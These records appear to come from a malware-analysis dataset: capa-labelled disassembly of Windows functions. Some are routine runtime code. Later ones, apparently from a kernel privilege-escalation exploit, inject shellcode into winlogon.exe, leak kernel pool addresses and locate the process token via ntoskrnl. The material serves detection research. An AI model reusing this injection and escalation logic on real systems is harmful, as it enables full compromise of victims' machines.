joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001480
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x14001d250]
mov dword [rax], 1
mov rax, qword [0x14001d260]
mov dword [rax], 1
mov rax, qword [0x14001d270]
mov dword [rax], 1
mov rax, qword [0x14001d240]
mov dword [rax], 1
mov rax, qword [0x14001d100]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400014de
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x14000150a
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x140001530
cmp eax, 0x20b
je 0x140001557
jmp 0x140001586
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x140001543
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x14000158b
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x140001572
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x14000158b
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x14000207f
Capabilities:
Write file on windows

Disassembly:
push r13
push r12
sub rsp, 0x28
mov r12, rcx
mov rcx, rdx
mov r13, rdx
call sub.msvcrt.dll_strlen
mov rcx, r13
mov r9, r12
mov edx, 1
mov r8, rax
call sub.msvcrt.dll_fwrite
mov rcx, r12
add rsp, 0x28
pop r12
pop r13
jmp 0x14000d900
jmp qword [sym.imp.msvcrt.dll_fflush]

Function at 0x140003b1f
Capabilities:
Write file on windows

Disassembly:
push r13
push r12
sub rsp, 0x38
mov qword [rsp + 0x28], rdx
mov r13, rcx
mov ecx, 2
call qword [fcn.14000e010]
mov r8, qword [rsp + 0x28]
mov rcx, r13
mov edx, 1
mov r12, rax
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rcx, r12
add rsp, 0x38
pop r12
pop r13
jmp 0x14000d900

Function at 0x140006ed0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call fcn.14000e010
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call fcn.14000e010
mov r8, rbx
mov rdx, qword [rbp + 0x20]
mov rcx, rax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
Function at 0x140007b02
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140024268]
test eax, eax
je 0x140007b9a
lea rax, [0x140024240]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140024270]
mov qword [rbp - 8], rax
jmp 0x140007b7e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140007b72
cmp qword [rbp - 0x10], 0
je 0x140007b72
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140007b38
lea rax, [0x140024240]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x140007b9b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140007ca0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140007cc8
mov eax, 0
jmp 0x140007d16
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140007cf1
mov eax, 0
jmp 0x140007d16
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140007d11
mov eax, 0
jmp 0x140007d16
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x140007d1c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x140007d9a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140007d91
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140007d91
mov rax, qword [rbp - 8]
jmp 0x140007daf
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140007d64
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x14000f744
Capabilities:
Print debug messages

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x90
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
cmp qword [rbp + 0x10], 0
je 0x14000f88e
mov rcx, qword [rbp + 0x10]
call fcn.140013d1d
cmp eax, 1
jne 0x14000f881
movabs rax, 0x6c6320726f727245
movabs rdx, 0x7520676e696e6165
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x68], rdx
movabs rax, 0x6b5f6e6970732070
movabs rdx, 0x20726f6620737965
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
movabs rax, 0x20646165726874
mov edx, 0
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x10], 0
mov word [rbp - 8], 0
mov byte [rbp - 6], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call rax
mov ecx, eax
lea rax, [rbp - 0x70]
add rax, 0x27
mov r8d, 0xa
mov rdx, rax
mov rax, qword [sym.imp.msvcrt.dll__ultoa]
call rax
mov dword [rbp - 4], 0x27
jmp 0x14000f837
add dword [rbp - 4], 1
mov eax, dword [rbp - 4]
cdqe
movzx eax, byte [rbp + rax - 0x70]
test al, al
je 0x14000f84d
mov eax, dword [rbp - 4]
cmp eax, 0x69
jbe 0x14000f833
mov eax, dword [rbp - 4]
cmp eax, 0x69
ja 0x14000f86c
mov eax, dword [rbp - 4]
cdqe
mov byte [rbp + rax - 0x70], 0xa
mov eax, dword [rbp - 4]
add eax, 1
cdqe
mov byte [rbp + rax - 0x70], 0
lea rax, [rbp - 0x70]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call rax
call sub.msvcrt.dll_abort
mov rax, qword [rbp + 0x10]
mov rdx, qword [rbp + 0x18]
mov qword [rax], rdx
jmp 0x14000f88f
nop
add rsp, 0x90
pop rbp
ret
Function at 0x140010a85
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov qword [rbp - 8], 0xffffffffffffffff
lea rax, [0x1400108ab]
mov rdx, rax
lea rax, [0x140024cf0]
mov rcx, rax
call fcn.14000feb6
mov eax, dword [0x14001b2f0]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x140010ad8
mov rax, qword [rbp - 0x10]
jmp 0x140010c38
call fcn.14000f620
mov qword [rbp - 0x10], rax
mov rax, qword [0x140026050]
test rax, rax
je 0x140010af4
cmp qword [rbp - 0x10], 0
jne 0x140010afe
mov eax, 0
jmp 0x140010c38
mov rax, qword [rbp - 0x10]
mov dword [rax + 0x44], 1
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call rax
mov rdx, qword [rbp - 0x10]
mov dword [rdx + 0x70], eax
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov rdx, qword [rbp - 0x10]
mov qword [rdx + 0x30], rax
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x38], 0xffffffffffffffff
mov rax, qword [rbp - 0x10]
lea rcx, [rax + 0x68]
mov rax, qword [rbp - 8]
mov rdx, rax
call fcn.14000f744
mov rax, qword [rbp - 0x10]
mov dword [rax + 0xb8], 0
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x28], 0
mov rax, qword [rbp - 0x10]
lea rdi, [rax + 0x28]
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rsi, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, rdi
mov r8, rsi
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DuplicateHandle]
call rax
test eax, eax
jne 0x140010bd9
call sub.msvcrt.dll_abort
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetThreadPriority]
call rax
mov rdx, qword [rbp - 0x10]
mov dword [rdx + 0xc0], eax
mov rax, qword [rbp - 0x10]
mov dword [rax + 0xbc], 0
mov rax, qword [rbp - 0x10]
movzx edx, byte [rax + 0x40]
and edx, 0xffffffcf
or edx, 0x10
mov byte [rax + 0x40], dl
mov eax, dword [0x14001b2f0]
mov rdx, qword [rbp - 0x10]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsSetValue]
call rax
test eax, eax
jne 0x140010c34
call sub.msvcrt.dll_abort
mov rax, qword [rbp - 0x10]
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x140010d32
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp - 0x10], 0
mov rax, qword [rbp + 0x10]
mov dword [rbp - 4], eax
call fcn.140010a85
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp + 0x10]
mov qword [rax + 8], rdx
mov rax, qword [rbp - 0x18]
mov rax, qword [rax + 0x1d8]
mov rcx, rax
call fcn.1400108d9
mov rax, qword [rbp - 0x18]
movzx eax, byte [rax + 0x40]
and eax, 0x30
test al, al
jne 0x140010d9f
mov rax, qword [rbp - 0x18]
add rax, 0xd0
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll_longjmp]
call rax
mov eax, dword [0x14001b2f0]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x140010ee3
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x28]
test rax, rax
jne 0x140010e3c
mov rax, qword [rbp - 0x10]
mov dword [rax], 0xdeadbeef
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x30]
test rax, rax
je 0x140010df7
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x30], 0
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 8]
mov dword [rbp - 4], eax
mov rax, qword [rbp - 0x10]
mov rcx, rax
call fcn.14000f4fc
mov qword [rbp - 0x10], 0
mov eax, dword [0x14001b2f0]
mov rdx, qword [rbp - 0x10]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsSetValue]
call rax
jmp 0x140010ee3
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 8]
mov dword [rbp - 4], eax
mov rax, qword [rbp - 0x10]
mov dword [rax + 0xbc], 1
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x30]
test rax, rax
je 0x140010e76
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x30], 0
mov rax, qword [rbp - 0x10]
mov eax, dword [rax + 0x44]
and eax, 4
test eax, eax
je 0x140010ee3
mov rax, qword [rbp - 0x10]
mov dword [rax], 0xdeadbeef
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x28], 0
mov rax, qword [rbp - 0x10]
mov rcx, rax
call fcn.14000f4fc
mov qword [rbp - 0x10], 0
mov eax, dword [0x14001b2f0]
mov rdx, qword [rbp - 0x10]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsSetValue]
call rax
mov eax, dword [rbp - 4]
mov ecx, eax
mov rax, qword [sym.imp.msvcrt.dll__endthreadex]
call rax
nop
Function at 0x1400068e0
Capabilities:
Parse pe header

Disassembly:
test rcx, rcx
je 0x140006910
mov eax, 0
cmp word [rcx], 0x5a4d
jne 0x14000690f
mov eax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x140006915
cdqe
add rax, rcx
cmp dword [rax], 0x4550
mov edx, 0
cmovne rax, rdx
ret
mov rax, rcx
jmp 0x14000690f
mov eax, 0
jmp 0x14000690f

Function at 0x140006f90
Capabilities:
Execute syscall

Disassembly:
pop rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov rcx, r10
call fcn.140006f40
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140011160
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x1405b2410]
xor edx, edx
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x1400111cf
mov rcx, r9
call fcn.140011030
test eax, eax
je 0x1400111cf
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
lea rdx, [r9 + rax + 0x18]
movzx eax, word [r9 + 6]
test eax, eax
je 0x1400111cd
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x1400111c4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1400111cf
add rdx, 0x28
cmp rdx, r9
jne 0x1400111b0
xor edx, edx
mov rax, rdx
add rsp, 0x28
ret
Function at 0x140011078
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x1400122e0
push rbp
push rdi
sub rsp, 0x4c8
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0xc2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001f180]
xor rax, rbp
mov qword [rbp + 0x478], rax
lea rcx, [0x1400250ad]
call fcn.140011424
nop
mov dword [rbp + 0x10], 0x238
xor edx, edx
mov ecx, 2
call fcn.1400111d6
mov qword [rbp + 0x268], rax
mov dword [rbp + 0x2a4], 0xffffffff
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x268]
call fcn.14001128f
test eax, eax
je 0x14001238c
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x268]
call fcn.1400113ca
test eax, eax
je 0x14001238c
lea rdx, str.winlogon.exe
lea rcx, [rbp + 0x3c]
call qword [sym.imp.ucrtbased.dll_wcscmp]
test eax, eax
jne 0x14001238a
mov eax, dword [rbp + 0x18]
mov dword [rbp + 0x2a4], eax
jmp 0x14001238c
jmp 0x140012356
mov rcx, qword [rbp + 0x268]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
cmp dword [rbp + 0x2a4], 0
jge 0x1400123b6
lea rcx, str.____Could_not_find_winlogon.exe
call qword [sym.imp.ucrtbased.dll_puts]
nop
jmp 0x1400124bf
mov r8d, dword [rbp + 0x2a4]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x288], rax
cmp qword [rbp + 0x288], 0
jne 0x1400123ee
lea rcx, str.____Failed_to_open_process._Exploit_did_probably_not_work
call qword [sym.imp.ucrtbased.dll_puts]
nop
jmp 0x1400124bf
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x114
xor edx, edx
mov rcx, qword [rbp + 0x288]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x2c8], rax
cmp qword [rbp + 0x2c8], 0
jne 0x14001242f
lea rcx, str.____Failed_to_allocate_remote_memory
call fcn.1400111cc
nop
mov qword [rsp + 0x20], 0
mov r9d, 0x114
lea r8, section..data
mov rdx, qword [rbp + 0x2c8]
mov rcx, qword [rbp + 0x288]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14001246d
lea rcx, str.____Failed_to_write_to_remote_memory
call qword [sym.imp.ucrtbased.dll_puts]
nop
jmp 0x1400124bf
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x2c8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x288]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 0x2e8], rax
cmp qword [rbp + 0x2e8], 0xffffffffffffffff
jne 0x1400124bf
lea rcx, str.____Failed_to_create_remote_thread
call qword [sym.imp.ucrtbased.dll_puts]
nop
lea rcx, [rbp - 0x40]
lea rdx, [0x14001c1a0]
call fcn.14001139d
mov rcx, qword [rbp + 0x478]
xor rcx, rbp
call fcn.1400111ea
lea rsp, [rbp + 0x488]
pop rdi
pop rbp
ret
Function at 0x140011096
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140011ac0
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
sub rsp, 0x2f0
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x80
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x318]
mov rax, qword [0x14001f180]
xor rax, rbp
mov qword [rbp + 0x2b8], rax
lea rcx, [0x1400250ad]
call fcn.140011424
nop
lea rax, [rbp + 0x44]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 4
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x88], rax
mov eax, 0x1000
mov word [rbp + 0xa4], ax
movzx eax, word [rbp + 0xa4]
mov r9d, 4
mov r8d, 0x1000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0xc8], rax
mov r8d, 0x20
mov edx, 0x41
mov rcx, qword [rbp + 0xc8]
call fcn.140011343
nop
mov rax, qword [rbp + 0xc8]
mov qword [rax], 0x80
mov rax, qword [rbp + 0xc8]
mov rcx, qword [rbp + 0x2e0]
mov qword [rax + 8], rcx
lea rax, [rbp + 0x298]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
lea rax, [rbp + 0x108]
lea rcx, [rbp + 0x298]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
movzx eax, word [rbp + 0xa4]
mov word [rbp + 0x108], ax
mov eax, 0xffff
mov word [rbp + 0x10a], ax
mov rax, qword [rbp + 0xc8]
mov qword [rbp + 0x110], rax
mov r9d, 0x10
lea r8, [rbp + 0x108]
mov edx, 0x26
mov rcx, qword [rbp + 0x88]
call qword [0x14001f330]
mov dword [rbp + 0x134], eax
mov dword [rbp + 4], 0x100000
mov eax, dword [rbp + 4]
mov edx, eax
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rbp + 0xe8], rax
lea r9, [rbp + 0x24]
mov r8d, dword [rbp + 4]
mov rdx, qword [rbp + 0xe8]
mov ecx, 0x42
call qword [0x14001f338]
mov dword [rbp + 0x134], eax
movzx eax, word [rbp + 0x108]
add rax, 0x10
mov dword [rbp + 0x64], eax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x158], rax
mov rax, qword [rbp + 0x158]
mov eax, dword [rax]
imul rax, rax, 0x18
mov rcx, qword [rbp + 0x158]
lea rax, [rcx + rax + 8]
mov qword [rbp + 0x178], rax
mov rax, qword [rbp + 0x158]
add rax, 8
mov qword [rbp + 0x198], rax
mov rax, qword [rbp + 0x178]
cmp qword [rbp + 0x198], rax
jae 0x140011d1d
mov rax, qword [rbp + 0x198]
mov qword [rbp + 0x1b8], rax
mov rax, qword [rbp + 0x1b8]
add rax, 0x10
mov r8d, 4
lea rdx, str.ThNm
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_strncmp]
test eax, eax
jne 0x140011d09
mov eax, dword [rbp + 0x64]
mov rcx, qword [rbp + 0x1b8]
cmp rax, qword [rcx + 8]
jne 0x140011d09
mov rax, qword [rbp + 0x1b8]
mov rax, qword [rax]
and rax, 0xfffffffffffffff0
add rax, 0x10
jmp 0x140011d2c
mov rax, qword [rbp + 0x198]
add rax, 0x18
mov qword [rbp + 0x198], rax
jmp 0x140011ca2
lea rcx, str.____Failed_to_leak_pool_address_for_forged_BitMapHeader_n
call fcn.1400111cc
nop
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001c100]
call fcn.14001139d
mov rax, rdi
mov rcx, qword [rbp + 0x2b8]
xor rcx, rbp
call fcn.1400111ea
lea rsp, [rbp + 0x2c0]
pop rdi
pop rsi
pop rbp
ret
Function at 0x140011226
Capabilities:
Load ntoskrnl
Resolve ntoskrnl gadgets

Disassembly:
jmp 0x140012570
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x20]
lea rcx, [0x1400250ad]
call fcn.140011424
nop
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jne 0x1400125bf
lea rcx, str.____Failed_to_load_NTDLL
call qword [sym.imp.ucrtbased.dll_puts]
nop
xor eax, eax
jmp 0x1400126fc
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x14001f358], eax
lea rdx, str.NtSetInformationThread
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14001f330], rax
lea rdx, str.NtQuerySystemInformation
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14001f338], rax
call fcn.140011244
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140012626
lea rcx, str.____Failed_to_get_kernel_base
call qword [sym.imp.ucrtbased.dll_puts]
nop
xor eax, eax
jmp 0x1400126fc
mov r8d, 1
xor edx, edx
lea rcx, str.ntoskrnl.exe
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
jne 0x14001265b
lea rcx, str.____Failed_to_load_kernel_module
call qword [sym.imp.ucrtbased.dll_puts]
nop
xor eax, eax
jmp 0x1400126fc
call fcn.140011203
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x14001267d
lea rcx, str.____Failed_to_get_token_kernel_address
call qword [sym.imp.ucrtbased.dll_puts]
nop
xor eax, eax
jmp 0x1400126fc
lea rdx, str.RtlSetAllBits
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
jne 0x1400126ab
lea rcx, str.____Failed_to_find_RtlSetAllBits
call qword [sym.imp.ucrtbased.dll_puts]
nop
xor eax, eax
jmp 0x1400126fc
mov rax, qword [rbp + 0x48]
mov rcx, qword [rbp + 8]
add rcx, rax
mov rax, rcx
sub rax, qword [rbp + 0x68]
mov qword [0x14001f6a0], rax
mov rax, qword [rbp + 0x28]
add rax, 0x40
mov rcx, rax
call fcn.140011096
mov qword [0x14001f6a8], rax
cmp qword [0x14001f6a8], 0
jne 0x1400126f7
lea rcx, str.____Failed_to_pool_leak_address_of_token
call qword [sym.imp.ucrtbased.dll_puts]
nop
xor eax, eax
jmp 0x1400126fc
call fcn.1400113d9
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret

Function at 0x140011253
Capabilities:
Terminate process

Disassembly:
jmp 0x1400146d0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
Function at 0x1400112e9
Capabilities:
Parse pe header

Disassembly:
jmp 0x140015a20
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140015a40
xor al, al
jmp 0x140015ac1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140015a53
xor al, al
jmp 0x140015ac1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140015a7d
xor al, al
jmp 0x140015ac1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140015a91
xor al, al
jmp 0x140015ac1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140015aa3
xor al, al
jmp 0x140015ac1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140015abf
xor al, al
jmp 0x140015ac1
mov al, 1
add rsp, 0x38
ret